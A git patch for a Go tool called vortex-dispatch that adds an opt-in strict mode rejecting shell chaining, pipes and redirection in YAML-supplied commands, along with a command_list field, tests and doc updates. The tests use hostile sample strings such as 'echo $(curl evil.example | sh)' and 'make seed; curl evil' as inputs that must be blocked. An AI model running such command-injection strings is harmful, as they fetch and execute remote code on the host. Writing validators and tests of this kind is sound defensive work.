From a0d356eb5e375d52b689a01152a894a1f95b4fe5 Mon Sep 17 00:00:00 2001 From: Vortex Dispatch Date: Thu, 16 Jul 2026 04:07:23 +0200 Subject: [PATCH] security(config+engine): opt-in strict shell-command mode + command_list MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes the documented YAML pipe/semicolon caveat (CLAUDE.md item 52): a copy-pasted hostile vxd.yaml could chain `; curl evil` through QA criteria commands or the autoresearch metric command. For SaaS-hosted / multi-tenant deploys that trust boundary is a real attack path. - New security.strict_shell_commands (default false — backward compatible; single-operator installs legitimately pipe QA output). - config.ValidateShellCommand(cmd, strict) is the single source (engine.ValidateConfigShellCommand[Mode] and autoresearch's validateMetricCommand now delegate — kills the drifting duplicate). Strict mode also rejects | ; && || & > < >> 2>&1, naming the construct and pointing at command_list. - Enforced at load time (config.Validate fails fast on qa success-criteria commands + autoresearch metric command) AND at runtime (EvaluateCriteriaWithMode / QAConfig.StrictShellCommands / MetricHarness.StrictShellCommands). - New command_list criterion field: entries run sequentially, all must pass, mutually exclusive with command — multi-step work without shell metacharacters. Also wires the SP5 db-criteria fields (command, sql, expected_rows, schema_baseline) from vxd.yaml into the engine; they were previously dropped in the resume.go mapping and rejected by validCriterionKinds (dangling wire). - Tests: TestValidateShellCommand_StrictMode (16 cases), _StrictModeViaConfigValidate, TestConfigLoad_CommandListAsAlternative, TestEvaluate_MigrationSucceeds_CommandListRunsSequentially, TestEvaluate_MigrationSucceeds_StrictShellMode. - Docs: README security row, CLAUDE.md config block + item 52 closure. Closes WEAKNESSES.md P0-03. Co-Authored-By: Claude Fable 5 --- CLAUDE.md | 3 +- README.md | 2 +- internal/autoresearch/metric.go | 22 ++-- internal/cli/autoresearch.go | 3 +- internal/cli/resume.go | 14 ++- internal/config/config.go | 43 +++++++- internal/config/shell_command.go | 65 +++++++++++ internal/config/shell_command_test.go | 153 ++++++++++++++++++++++++++ internal/engine/command_safety.go | 31 +++--- internal/engine/criteria.go | 20 +++- internal/engine/criteria_db.go | 58 ++++++---- internal/engine/criteria_db_test.go | 76 +++++++++++++ internal/engine/qa.go | 6 +- 13 files changed, 433 insertions(+), 63 deletions(-) create mode 100644 internal/config/shell_command.go create mode 100644 internal/config/shell_command_test.go diff --git a/CLAUDE.md b/CLAUDE.md index bf40d2e..4258fb2 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -137,6 +137,7 @@ security: require_scanners: false # true = block stories when applicable scanners are missing/failed (strict coverage) instead of degrading gracefully auto_learn: true # grow the knowledge base from confirmed high+ findings kb_path: "" # default /security/knowledge.json + strict_shell_commands: false # true = config-supplied commands (qa criteria, autoresearch metric) also reject | ; && || & > < >> 2>&1 — use command_list for multi-step billing: default_rate: 150.0 currency: USD @@ -600,7 +601,7 @@ Closing summary (24 PRs merged across the bulletproofing pass): 49. ~~Ghost API error body redaction + SetTemplateFlag parameterized + schema-evolution + VXD_SHELL trust-boundary doc~~ — DONE (PR #67). 50. ~~YAML criterion path containment + sql_query_returns read-only gate (sqlsafety package split out of cli)~~ — DONE (PR #68). 51. ~~Prompt file 0o644 → 0o600 (registry.go + tmux_runner.go)~~ — DONE (this commit). Prompt content carrying DSNs / WAVE_CONTEXT / acceptance criteria no longer readable by non-owner users on a shared dispatch host. -52. **YAML pipe/semicolon caveat** — DOCUMENTED. `ValidateConfigShellCommand` blocks command substitution but deliberately allows `|`, `;`, `&&` for legitimate multi-step QA commands. An operator who copy-pastes a malicious vxd.yaml can still chain `; curl evil` — this is a documented operator trust boundary, not an oversight. The blocklist is one of three layers; the others are: (a) commands run only when the operator explicitly invokes a requirement that triggers QA, (b) the dashboard auth gate prevents remote requirement submission. +52. ~~YAML pipe/semicolon caveat~~ — CLOSED by opt-in strict mode (P0-03, 2026-07-16). Default mode still blocks only command substitution and deliberately allows `|`, `;`, `&&` for legitimate multi-step QA commands (documented operator trust boundary, backward compatible). New `security.strict_shell_commands: true` (recommended for SaaS-hosted/multi-tenant deploys) also rejects `|`, `;`, `&&`, `||`, `&`, `>`, `<`, `>>`, `2>&1` in config-supplied commands, enforced at BOTH load time (`config.Validate` → `config.ValidateShellCommand`, single source; engine + autoresearch delegate) and runtime (`EvaluateCriteriaWithMode`, `MetricHarness.StrictShellCommands`). Multi-step work is expressed via the new `command_list` criterion field (entries run sequentially, all must pass, mutually exclusive with `command`); the SP5 db-criteria fields (`command`, `sql`, `expected_rows`, `schema_baseline`) are now also mapped from vxd.yaml `qa.success_criteria` into the engine (previously a dangling wire — only the 6 basic kinds validated). Tests: `TestValidateShellCommand_StrictMode` (16 cases), `TestValidateShellCommand_StrictModeViaConfigValidate`, `TestConfigLoad_CommandListAsAlternative`, `TestEvaluate_MigrationSucceeds_CommandListRunsSequentially`, `TestEvaluate_MigrationSucceeds_StrictShellMode`. 53. ~~Errcheck cleanup + lint job blocking~~ — DONE. `golangci-lint` now reports **0 issues** across the project (`-default standard`, ~5 minute timeout). 44 silent event-store / projection-store `Append`/`Project` failures across `internal/cli` + `internal/engine` now log with full story-ID context; 15 dangerous `f.Write`/`db.Exec`/artifact-store sites now return wrapped errors; best-effort cleanup sites carry explicit `_ =` discards with one-line rationale; `.golangci.yml` excludes benign noise (`fmt.Fprint*` to stdout, `(io.Closer).Close`, HTTP body close, tabwriter Flush) and widens the test-file exemption to cover all linters. The `lint` job in `.github/workflows/ci.yml` lost its `continue-on-error: true` — it is now a blocking gate. 56. ~~CLI IO-seam refactor + coverage uplift~~ — DONE. Introduced `auditDirOverride` (improve.go) and `stateDirOverride` (autoresearch.go) package-level test seams so the production code path still reads CWD / `VXD_STATE_DIR` / `$HOME` but tests can swap directories with no `chdir`. Removed the older `withChdir` helper from `improve_commands_test.go` (chdir broke parallel-test isolation). New test files: `autoresearch_io_test.go` (loadConfigForAutoresearch / openEventStore / countWinsLosses), `backup_logs_test.go` (runBackup end-to-end + runLogs missing-file & stream paths), `db_helpers_test.go` (findDBByNameOrID, isTerminal, dbProviderFor, dockerProviderFor failure paths), `db_subcommands_test.go` (every `vxd db ` CLI command drives its early-error path with devdb disabled), `devdb_provider_test.go` (newDevDBProvider covers null/docker/ghost/unknown branches), `resume_helpers_test.go` (pickRuntime priority + fallback, newDevDBLifecycle disabled/docker/bad-ghost paths, runDevDBOrphanRecovery no-op guard, runResume entry-point wiring), `extra_commands_test.go` (Execute, autoresearch stop/evolve/start/hypotheses/status), `req_helpers_test.go` (buildPlanningClient routing per provider). cli coverage: **58.3% → 72.9%** (+14.6 points). Falls short of 80% target; remaining gap requires fakes for docker/gh/claude CLI, tracked as a separate follow-up. diff --git a/README.md b/README.md index d73b9d9..b218e1a 100644 --- a/README.md +++ b/README.md @@ -397,7 +397,7 @@ Run `vxd init` to generate `vxd.yaml` with sensible defaults, then customize: | `runtimes` | Map of named CLI runtime definitions — command, args, supported models, and idle/permission detection patterns | Includes built-in entries for `claude-code`, `codex`, `gemini`, `swe-agent`; each supports optional `runner: docker\|ssh` | | `billing` | Hourly consulting rate, currency, Fibonacci-to-hours range mapping, and LLM cost accounting mode | `default_rate: 150.0`, `currency: USD`, `llm_costs.mode: subscription` | | `qa` | Declarative success criteria evaluated after each story (output_contains, file_exists, file_contains, exit_code_zero, etc.); `disable_pre_merge_verify` (turn off the per-story pre-merge build/test gate); and the requirement-completion gate — `disable_completion_gate` (turn off) + `completion_fix_cycles` (auto-fix attempts against a red composed mainline before blocking; `0`→default 2, negative→hard gate). The completion gate verifies the merged mainline and emits `REQ_BLOCKED` instead of `REQ_COMPLETED` when it cannot make the build/tests green. | No criteria by default; standard lint/build/test always run; `disable_pre_merge_verify: false`, `disable_completion_gate: false`, `completion_fix_cycles: 2` | -| `security` | Security agent: per-story pre-merge security gate (scanners + LLM threat-model review against a growable OWASP/CWE knowledge base). `disable_gate` (turn the gate off), `gate_severity` (build-pausing block threshold — default `critical` so only leaked secrets/confirmed injection pause a build; tighten to `high` for stricter gating), `require_scanners` (strict coverage: block a story when applicable scanners are missing/failed instead of degrading gracefully), `auto_learn` (grow the KB from confirmed findings), `kb_path` (KB location). Standalone audits via `vxd security scan` report high/medium too. | `disable_gate: false`, `gate_severity: critical`, `require_scanners: false`, `auto_learn: true`, `kb_path: /security/knowledge.json` | +| `security` | Security agent: per-story pre-merge security gate (scanners + LLM threat-model review against a growable OWASP/CWE knowledge base). `disable_gate` (turn the gate off), `gate_severity` (build-pausing block threshold — default `critical` so only leaked secrets/confirmed injection pause a build; tighten to `high` for stricter gating), `require_scanners` (strict coverage: block a story when applicable scanners are missing/failed instead of degrading gracefully), `auto_learn` (grow the KB from confirmed findings), `kb_path` (KB location), `strict_shell_commands` (reject pipes/`;`/`&&`/redirection in config-supplied commands — QA success-criteria commands and the autoresearch metric command; multi-step work uses `command_list` instead; recommended for SaaS-hosted/multi-tenant deploys). Standalone audits via `vxd security scan` report high/medium too. | `disable_gate: false`, `gate_severity: critical`, `require_scanners: false`, `auto_learn: true`, `kb_path: /security/knowledge.json`, `strict_shell_commands: false` | | `sla` | Per-Fibonacci-point maximum story duration in minutes; `auto_escalate` promotes breached stories to the next tier | `1pt→60m`, `2pt→120m`, `3pt→240m`, `5pt→480m`, `8pt→960m`, `13pt→1920m`; `auto_escalate: false` | | `secrets` | Secrets provider: `env` (default, reads from environment) or `vault` (HashiCorp Vault KV v2) | `provider: env`; Vault settings: `vault_mount: secret`, `vault_path: vxd` | | `notify` | Outbound Slack webhook URL and per-event triggers. A configured webhook always sends `PIPELINE_STALLED` (human-intervention signal); `notify_on_sla` additionally sends `STORY_SLA_BREACHED`; `notify_on_complete` additionally sends terminal requirement outcomes (`REQ_COMPLETED` / `REQ_BLOCKED`) | Disabled by default (empty `slack_webhook_url`); both flags `false` | diff --git a/internal/autoresearch/metric.go b/internal/autoresearch/metric.go index 6cb783f..858cdc3 100644 --- a/internal/autoresearch/metric.go +++ b/internal/autoresearch/metric.go @@ -21,18 +21,11 @@ import ( // re-compiled this regex on every call. var metricLastFloatRe = regexp.MustCompile(`-?\d+(?:\.\d+)?`) -// validateMetricCommand rejects YAML-supplied metric commands containing -// command-substitution patterns. Mirrors engine.ValidateConfigShell- -// Command but avoids the cross-package import (engine depends on this -// package transitively in some paths). Kept here as a small duplicate -// rather than introduce an import cycle risk. -func validateMetricCommand(cmd string) error { - for _, seq := range []string{"$(", "`", "$(("} { - if strings.Contains(cmd, seq) { - return fmt.Errorf("config-supplied command contains %q; rewrite to avoid embedded expressions", seq) - } - } - return nil +// validateMetricCommand rejects YAML-supplied metric commands via the +// canonical config.ValidateShellCommand (command substitution always; +// pipes/chaining/redirection too when security.strict_shell_commands is on). +func validateMetricCommand(cmd string, strict bool) error { + return config.ValidateShellCommand(cmd, strict) } // Tiebreaker is the LLM-based judge invoked when two scores fall within @@ -47,6 +40,9 @@ type Tiebreaker interface { type MetricHarness struct { Metric config.AutoresearchMetric Tiebreaker Tiebreaker + // StrictShellCommands mirrors security.strict_shell_commands for the + // metric command validation. + StrictShellCommands bool } // Measure runs the metric command in the given worktree, returning a Score. @@ -56,7 +52,7 @@ func (h *MetricHarness) Measure(ctx context.Context, worktree string, baseline f if h.Metric.Command == "" { return Score{}, errors.New("metric command is empty") } - if err := validateMetricCommand(h.Metric.Command); err != nil { + if err := validateMetricCommand(h.Metric.Command, h.StrictShellCommands); err != nil { return Score{}, fmt.Errorf("metric command rejected: %w", err) } cmd := shellexec.CommandContext(ctx, h.Metric.Command) diff --git a/internal/cli/autoresearch.go b/internal/cli/autoresearch.go index df14fec..15c76b7 100644 --- a/internal/cli/autoresearch.go +++ b/internal/cli/autoresearch.go @@ -176,7 +176,8 @@ func buildLiveCoordinator(repoDir string, cfg config.Config) (*autoresearch.Coor } metric := &autoresearch.MetricHarness{ - Metric: cfg.Autoresearch.Metric, + Metric: cfg.Autoresearch.Metric, + StrictShellCommands: cfg.Security.StrictShellCommands, Tiebreaker: &autoresearch.LLMTiebreaker{ Client: ll, Model: model, diff --git a/internal/cli/resume.go b/internal/cli/resume.go index ed0fab4..ae02555 100644 --- a/internal/cli/resume.go +++ b/internal/cli/resume.go @@ -688,12 +688,18 @@ func buildQAConfig(cfg config.Config, projectDir, repoDir string) engine.QAConfi } for _, sc := range cfg.QA.SuccessCriteria { qaCfg.SuccessCriteria = append(qaCfg.SuccessCriteria, engine.Criterion{ - Kind: engine.CriterionKind(sc.Kind), - Value: sc.Value, - Path: sc.Path, - Message: sc.Message, + Kind: engine.CriterionKind(sc.Kind), + Value: sc.Value, + Path: sc.Path, + Message: sc.Message, + Command: sc.Command, + CommandList: sc.CommandList, + SQL: sc.SQL, + ExpectedRows: sc.ExpectedRows, + SchemaBaseline: sc.SchemaBaseline, }) } + qaCfg.StrictShellCommands = cfg.Security.StrictShellCommands return qaCfg } diff --git a/internal/config/config.go b/internal/config/config.go index f8be556..6e01d3c 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -250,6 +250,14 @@ type SecurityConfig struct { // KBPath overrides where the knowledge base persists. Empty ⇒ // /security/knowledge.json. KBPath string `yaml:"kb_path,omitempty"` + // StrictShellCommands hardens ValidateShellCommand for config-supplied + // command strings (qa.success_criteria commands, autoresearch metric + // command): in addition to command substitution, it rejects pipes, + // `;`/`&&`/`||` chaining, background `&`, and redirection. Multi-step + // work is expressed via `command_list` instead. Default false for + // backward compatibility — single-operator installs legitimately pipe + // QA output. SaaS-hosted / multi-tenant deploys should set true. + StrictShellCommands bool `yaml:"strict_shell_commands,omitempty"` } // SuccessCriterion defines a declarative QA check. @@ -258,6 +266,21 @@ type SuccessCriterion struct { Value string `yaml:"value,omitempty"` Path string `yaml:"path,omitempty"` Message string `yaml:"message,omitempty"` + + // Command is the shell command for migration_succeeds. Subject to + // ValidateShellCommand in the mode selected by + // security.strict_shell_commands. + Command string `yaml:"command,omitempty"` + // CommandList is the strict-mode-friendly alternative to Command: + // VXD runs the entries sequentially (all must succeed), so multi-step + // work needs no shell chaining metacharacters in the YAML. Mutually + // exclusive with Command. + CommandList []string `yaml:"command_list,omitempty"` + // SQL, ExpectedRows, SchemaBaseline configure the DB-touching criteria + // (sql_query_returns, schema_changed) shipped in SP5. + SQL string `yaml:"sql,omitempty"` + ExpectedRows *int `yaml:"expected_rows,omitempty"` + SchemaBaseline string `yaml:"schema_baseline,omitempty"` } // AutoresearchConfig configures the per-repo autoresearch experiment harness. @@ -576,11 +599,29 @@ func (c Config) Validate() error { "output_contains": true, "output_not_contains": true, "file_exists": true, "file_contains": true, "file_not_empty": true, "exit_code_zero": true, + "migration_succeeds": true, "schema_changed": true, "sql_query_returns": true, } for i, sc := range c.QA.SuccessCriteria { if !validCriterionKinds[sc.Kind] { - return fmt.Errorf("qa.success_criteria[%d].kind must be one of output_contains, output_not_contains, file_exists, file_contains, file_not_empty, exit_code_zero; got %q", i, sc.Kind) + return fmt.Errorf("qa.success_criteria[%d].kind must be one of output_contains, output_not_contains, file_exists, file_contains, file_not_empty, exit_code_zero, migration_succeeds, schema_changed, sql_query_returns; got %q", i, sc.Kind) + } + if sc.Command != "" && len(sc.CommandList) > 0 { + return fmt.Errorf("qa.success_criteria[%d]: command and command_list are mutually exclusive", i) + } + // Fail fast at load time on commands the runtime would reject — + // a copy-pasted hostile vxd.yaml should not survive `vxd config + // validate`, let alone reach dispatch. + if err := ValidateShellCommand(sc.Command, c.Security.StrictShellCommands); err != nil { + return fmt.Errorf("qa.success_criteria[%d].command: %w", i, err) } + for j, entry := range sc.CommandList { + if err := ValidateShellCommand(entry, c.Security.StrictShellCommands); err != nil { + return fmt.Errorf("qa.success_criteria[%d].command_list[%d]: %w", i, j, err) + } + } + } + if err := ValidateShellCommand(c.Autoresearch.Metric.Command, c.Security.StrictShellCommands); err != nil { + return fmt.Errorf("autoresearch.metric.command: %w", err) } if err := c.Autoresearch.validate(); err != nil { diff --git a/internal/config/shell_command.go b/internal/config/shell_command.go new file mode 100644 index 0000000..6c47573 --- /dev/null +++ b/internal/config/shell_command.go @@ -0,0 +1,65 @@ +package config + +import ( + "fmt" + "strings" +) + +// shellSubstitutionPatterns are rejected in EVERY mode: command substitution +// is the one construct that turns a static YAML command string into arbitrary +// nested code execution. +var shellSubstitutionPatterns = []struct{ seq, name string }{ + {"$((", "arithmetic expansion"}, // checked before $( so the message is precise + {"$(", "POSIX command substitution `$(...)`"}, + {"`", "backtick command substitution"}, +} + +// shellChainPatterns are rejected only in strict mode +// (security.strict_shell_commands: true). Legitimate multi-step commands can +// be expressed with the `command_list` criterion field instead — VXD chains +// the entries itself, so the YAML never needs shell metacharacters. +// +// Multi-character sequences are listed before their single-character prefixes +// so error messages name the most specific construct. +var shellChainPatterns = []struct{ seq, name string }{ + {"2>&1", "stderr redirection `2>&1`"}, + {"&&", "AND chaining `&&`"}, + {"||", "OR chaining `||`"}, + {">>", "append redirection `>>`"}, + {"|", "pipe `|`"}, + {";", "statement chaining `;`"}, + {"&", "background execution `&`"}, + {">", "output redirection `>`"}, + {"<", "input redirection `<`"}, +} + +// ValidateShellCommand rejects YAML-supplied shell-command strings that could +// smuggle extra commands past the operator. The threat model is an operator +// who pastes a vxd.yaml from a hostile or untrusted source — these command +// strings flow straight to `sh -c`. +// +// Non-strict (default): only command substitution is rejected; pipes and +// chains stay allowed because legitimate QA commands use them +// (`go test ./... | grep PASS`). Strict (security.strict_shell_commands: +// true — recommended for SaaS-hosted / multi-tenant deploys): pipes, +// chaining, background execution, and redirection are rejected too; use +// `command_list` to express multi-step work. +func ValidateShellCommand(cmd string, strict bool) error { + if cmd == "" { + return nil + } + for _, p := range shellSubstitutionPatterns { + if strings.Contains(cmd, p.seq) { + return fmt.Errorf("config-supplied command contains %s; rewrite to avoid embedded expressions", p.name) + } + } + if !strict { + return nil + } + for _, p := range shellChainPatterns { + if strings.Contains(cmd, p.seq) { + return fmt.Errorf("config-supplied command contains %s, rejected by security.strict_shell_commands; use command_list to express multi-step commands", p.name) + } + } + return nil +} diff --git a/internal/config/shell_command_test.go b/internal/config/shell_command_test.go new file mode 100644 index 0000000..158202a --- /dev/null +++ b/internal/config/shell_command_test.go @@ -0,0 +1,153 @@ +package config_test + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/tzone85/vortex-dispatch/internal/config" +) + +// TestValidateShellCommand_StrictMode pins both validation modes: command +// substitution is rejected always; pipes, chaining, background execution, and +// redirection only under security.strict_shell_commands. +func TestValidateShellCommand_StrictMode(t *testing.T) { + cases := []struct { + name string + cmd string + strictOnly bool // rejected only in strict mode + always bool // rejected in both modes + }{ + {"pipe", "go test ./... | grep PASS", true, false}, + {"semicolon", "go build; curl evil.example", true, false}, + {"and-chain", "go build && go test ./...", true, false}, + {"or-chain", "go test || echo failed", true, false}, + {"output redirection", "go test > out.txt", true, false}, + {"input redirection", "psql < dump.sql", true, false}, + {"append redirection", "echo x >> log.txt", true, false}, + {"stderr redirection", "go test 2>&1", true, false}, + {"background", "sleep 100 &", true, false}, + {"pipe+chain combo", "make lint | tee log && make test; make audit", true, false}, + {"command substitution", "echo $(curl evil.example | sh)", false, true}, + {"backtick substitution", "echo `id`", false, true}, + {"arithmetic expansion", "echo $((1+$(curl evil)))", false, true}, + {"clean single command", "go test ./... -count=1", false, false}, + {"clean with flags", "golangci-lint run --timeout 5m", false, false}, + {"empty", "", false, false}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + lenientErr := config.ValidateShellCommand(tc.cmd, false) + strictErr := config.ValidateShellCommand(tc.cmd, true) + + if tc.always { + if lenientErr == nil || strictErr == nil { + t.Fatalf("command substitution must be rejected in BOTH modes: lenient=%v strict=%v", lenientErr, strictErr) + } + return + } + if tc.strictOnly { + if lenientErr != nil { + t.Errorf("lenient mode must allow %q (backward compat), got %v", tc.cmd, lenientErr) + } + if strictErr == nil { + t.Fatalf("strict mode must reject %q", tc.cmd) + } + if !strings.Contains(strictErr.Error(), "command_list") { + t.Errorf("strict rejection should point operators at command_list: %v", strictErr) + } + return + } + if lenientErr != nil || strictErr != nil { + t.Errorf("clean command %q must pass both modes: lenient=%v strict=%v", tc.cmd, lenientErr, strictErr) + } + }) + } +} + +// TestValidateShellCommand_StrictModeViaConfigValidate pins the load-time +// boundary: a strict-mode config carrying a chained command fails Validate(), +// the same command passes in the default mode, and command_list entries are +// validated individually. +func TestValidateShellCommand_StrictModeViaConfigValidate(t *testing.T) { + base := config.DefaultConfig() + base.QA.SuccessCriteria = []config.SuccessCriterion{ + {Kind: "migration_succeeds", Command: "make migrate && make seed"}, + } + + if err := base.Validate(); err != nil { + t.Fatalf("default (non-strict) mode must accept chained commands: %v", err) + } + + strict := base + strict.Security.StrictShellCommands = true + err := strict.Validate() + if err == nil || !strings.Contains(err.Error(), "strict_shell_commands") { + t.Fatalf("strict mode must reject chained command at load time, got %v", err) + } + + // command_list expresses the same steps without metacharacters. + strict.QA.SuccessCriteria = []config.SuccessCriterion{ + {Kind: "migration_succeeds", CommandList: []string{"make migrate", "make seed"}}, + } + if err := strict.Validate(); err != nil { + t.Fatalf("command_list alternative must pass strict validation: %v", err) + } + + // A poisoned command_list entry is still caught. + strict.QA.SuccessCriteria[0].CommandList = []string{"make migrate", "make seed; curl evil"} + if err := strict.Validate(); err == nil { + t.Fatal("poisoned command_list entry must be rejected in strict mode") + } + + // command and command_list together are ambiguous — always rejected. + both := config.DefaultConfig() + both.QA.SuccessCriteria = []config.SuccessCriterion{ + {Kind: "migration_succeeds", Command: "make migrate", CommandList: []string{"make seed"}}, + } + if err := both.Validate(); err == nil || !strings.Contains(err.Error(), "mutually exclusive") { + t.Fatalf("command + command_list must be mutually exclusive, got %v", err) + } + + // Strict mode also covers the autoresearch metric command. + ar := config.DefaultConfig() + ar.Security.StrictShellCommands = true + ar.Autoresearch.Metric.Command = "go test -bench . | tail -1" + if err := ar.Validate(); err == nil { + t.Fatal("strict mode must reject piped autoresearch metric command") + } +} + +// TestConfigLoad_CommandListAsAlternative pins YAML parsing of command_list: +// a success criterion can express multi-step work as a list. +func TestConfigLoad_CommandListAsAlternative(t *testing.T) { + yaml := ` +qa: + success_criteria: + - kind: migration_succeeds + command_list: + - go build ./... + - go test ./... +security: + strict_shell_commands: true +` + path := filepath.Join(t.TempDir(), "vxd.yaml") + if err := os.WriteFile(path, []byte(yaml), 0o600); err != nil { + t.Fatal(err) + } + cfg, err := config.LoadFromFile(path) + if err != nil { + t.Fatalf("load: %v", err) + } + sc := cfg.QA.SuccessCriteria + if len(sc) != 1 { + t.Fatalf("want 1 criterion, got %d", len(sc)) + } + if len(sc[0].CommandList) != 2 || sc[0].CommandList[0] != "go build ./..." || sc[0].CommandList[1] != "go test ./..." { + t.Fatalf("command_list did not parse in order: %#v", sc[0].CommandList) + } + if !cfg.Security.StrictShellCommands { + t.Fatal("security.strict_shell_commands did not parse") + } +} diff --git a/internal/engine/command_safety.go b/internal/engine/command_safety.go index 2cbfeae..43fd215 100644 --- a/internal/engine/command_safety.go +++ b/internal/engine/command_safety.go @@ -1,8 +1,7 @@ package engine import ( - "fmt" - "strings" + "github.com/tzone85/vortex-dispatch/internal/config" ) // ValidateConfigShellCommand rejects YAML-supplied shell-command strings @@ -27,21 +26,17 @@ import ( // // Anything legitimate inside `$(…)` can be rewritten as an env var // expansion or a wrapper script committed to the repo. +// +// The canonical pattern list lives in config.ValidateShellCommand (config is +// imported by both engine and autoresearch, so the single source avoids an +// import cycle). Strict mode (security.strict_shell_commands) additionally +// rejects pipes/chaining/redirection — see ValidateConfigShellCommandMode. func ValidateConfigShellCommand(cmd string) error { - if cmd == "" { - return nil - } - patterns := []struct { - seq, name string - }{ - {"$(", "POSIX command substitution `$(...)`"}, - {"`", "backtick command substitution"}, - {"$((", "arithmetic expansion"}, - } - for _, p := range patterns { - if strings.Contains(cmd, p.seq) { - return fmt.Errorf("config-supplied command contains %s; rewrite to avoid embedded expressions", p.name) - } - } - return nil + return config.ValidateShellCommand(cmd, false) +} + +// ValidateConfigShellCommandMode is ValidateConfigShellCommand with the +// operator-selected strictness (security.strict_shell_commands). +func ValidateConfigShellCommandMode(cmd string, strict bool) error { + return config.ValidateShellCommand(cmd, strict) } diff --git a/internal/engine/criteria.go b/internal/engine/criteria.go index d0add0d..9280c29 100644 --- a/internal/engine/criteria.go +++ b/internal/engine/criteria.go @@ -33,6 +33,11 @@ type Criterion struct { // SP5 additions — DB-touching criteria. Command string `yaml:"command,omitempty" json:"command,omitempty"` // migration_succeeds: shell command to run + // CommandList is the strict-mode-friendly alternative to Command for + // migration_succeeds: entries run sequentially (all must succeed), so + // multi-step work needs no shell chaining metacharacters. Mutually + // exclusive with Command. + CommandList []string `yaml:"command_list,omitempty" json:"command_list,omitempty"` SQL string `yaml:"sql,omitempty" json:"sql,omitempty"` // sql_query_returns: query to execute ExpectedRows *int `yaml:"expected_rows,omitempty" json:"expected_rows,omitempty"` // sql_query_returns: optional exact row count SchemaBaseline string `yaml:"schema_baseline,omitempty" json:"schema_baseline,omitempty"` // schema_changed: path to baseline file @@ -47,10 +52,19 @@ type CriterionResult struct { // EvaluateCriteria checks all criteria against the given context. // workDir is the worktree path, output is the combined agent output. +// Command-bearing criteria are validated in the default (non-strict) mode; +// use EvaluateCriteriaWithMode to honour security.strict_shell_commands. func EvaluateCriteria(criteria []Criterion, workDir, output string) []CriterionResult { + return EvaluateCriteriaWithMode(criteria, workDir, output, false) +} + +// EvaluateCriteriaWithMode is EvaluateCriteria with the operator-selected +// shell-command strictness (security.strict_shell_commands) applied to +// command-bearing criteria. +func EvaluateCriteriaWithMode(criteria []Criterion, workDir, output string, strictShell bool) []CriterionResult { results := make([]CriterionResult, 0, len(criteria)) for _, c := range criteria { - results = append(results, evaluateOne(c, workDir, output)) + results = append(results, evaluateOne(c, workDir, output, strictShell)) } return results } @@ -80,7 +94,7 @@ func CriteriaFailureSummary(results []CriterionResult) string { return strings.Join(parts, "\n") } -func evaluateOne(c Criterion, workDir, output string) CriterionResult { +func evaluateOne(c Criterion, workDir, output string, strictShell bool) CriterionResult { switch c.Kind { case CriterionOutputContains: passed := strings.Contains(output, c.Value) @@ -161,7 +175,7 @@ func evaluateOne(c Criterion, workDir, output string) CriterionResult { } case CriterionMigrationSucceeds: - return evaluateMigrationSucceeds(c, workDir) + return evaluateMigrationSucceeds(c, workDir, strictShell) case CriterionSchemaChanged: return evaluateSchemaChanged(c, workDir) diff --git a/internal/engine/criteria_db.go b/internal/engine/criteria_db.go index c82a8e4..4c98841 100644 --- a/internal/engine/criteria_db.go +++ b/internal/engine/criteria_db.go @@ -33,36 +33,54 @@ func readDatabaseURL(workDir string) string { return "" } -// evaluateMigrationSucceeds runs the configured command in workDir with -// DATABASE_URL set from .vxd-db/connect.env. Passes if exit code is zero. -func evaluateMigrationSucceeds(c Criterion, workDir string) CriterionResult { - if c.Command == "" { - return CriterionResult{Criterion: c, Passed: false, - Detail: "migration_succeeds requires `command` field"} +// evaluateMigrationSucceeds runs the configured command (or command_list +// entries, sequentially) in workDir with DATABASE_URL set from +// .vxd-db/connect.env. Passes if every exit code is zero. strictShell is the +// operator's security.strict_shell_commands setting — in strict mode any +// shell chaining/redirection metacharacter is rejected and multi-step work +// must use command_list. +func evaluateMigrationSucceeds(c Criterion, workDir string, strictShell bool) CriterionResult { + commands := c.CommandList + if c.Command != "" { + if len(c.CommandList) > 0 { + return CriterionResult{Criterion: c, Passed: false, + Detail: "migration_succeeds: `command` and `command_list` are mutually exclusive"} + } + commands = []string{c.Command} } - if err := ValidateConfigShellCommand(c.Command); err != nil { + if len(commands) == 0 { return CriterionResult{Criterion: c, Passed: false, - Detail: fmt.Sprintf("rejected unsafe command pattern: %v", err)} + Detail: "migration_succeeds requires `command` or `command_list` field"} + } + for _, entry := range commands { + if err := ValidateConfigShellCommandMode(entry, strictShell); err != nil { + return CriterionResult{Criterion: c, Passed: false, + Detail: fmt.Sprintf("rejected unsafe command pattern: %v", err)} + } } dsn := readDatabaseURL(workDir) if dsn == "" { return CriterionResult{Criterion: c, Passed: false, Detail: "no .vxd-db/connect.env in worktree — devdb not provisioned for this story"} } - cmd := shellexec.Command(c.Command) - cmd.Dir = workDir - // Don't hand the agent's migration command our full environment — it holds - // ANTHROPIC_API_KEY, GOOGLE_AI_API_KEY, RESEND/FIRECRAWL keys, VAULT_TOKEN, - // etc. Migration tools commonly echo their env on error, and that output - // flows into CriterionResult.Detail → the dashboard. Pass a filtered env. - cmd.Env = append(sanitizedEnv(), "DATABASE_URL="+dsn) - out, err := cmd.CombinedOutput() - if err != nil { - return CriterionResult{Criterion: c, Passed: false, - Detail: fmt.Sprintf("migration command failed: %v: %s", err, strings.TrimSpace(string(out)))} + var lastOut string + for _, entry := range commands { + cmd := shellexec.Command(entry) + cmd.Dir = workDir + // Don't hand the agent's migration command our full environment — it holds + // ANTHROPIC_API_KEY, GOOGLE_AI_API_KEY, RESEND/FIRECRAWL keys, VAULT_TOKEN, + // etc. Migration tools commonly echo their env on error, and that output + // flows into CriterionResult.Detail → the dashboard. Pass a filtered env. + cmd.Env = append(sanitizedEnv(), "DATABASE_URL="+dsn) + out, err := cmd.CombinedOutput() + if err != nil { + return CriterionResult{Criterion: c, Passed: false, + Detail: fmt.Sprintf("migration command failed (%q): %v: %s", entry, err, strings.TrimSpace(string(out)))} + } + lastOut = strings.TrimSpace(string(out)) } return CriterionResult{Criterion: c, Passed: true, - Detail: fmt.Sprintf("migration command succeeded: %s", strings.TrimSpace(string(out)))} + Detail: fmt.Sprintf("migration command succeeded: %s", lastOut)} } // evaluateSchemaChanged dumps the current schema and compares against either diff --git a/internal/engine/criteria_db_test.go b/internal/engine/criteria_db_test.go index 12e1fec..a1647fb 100644 --- a/internal/engine/criteria_db_test.go +++ 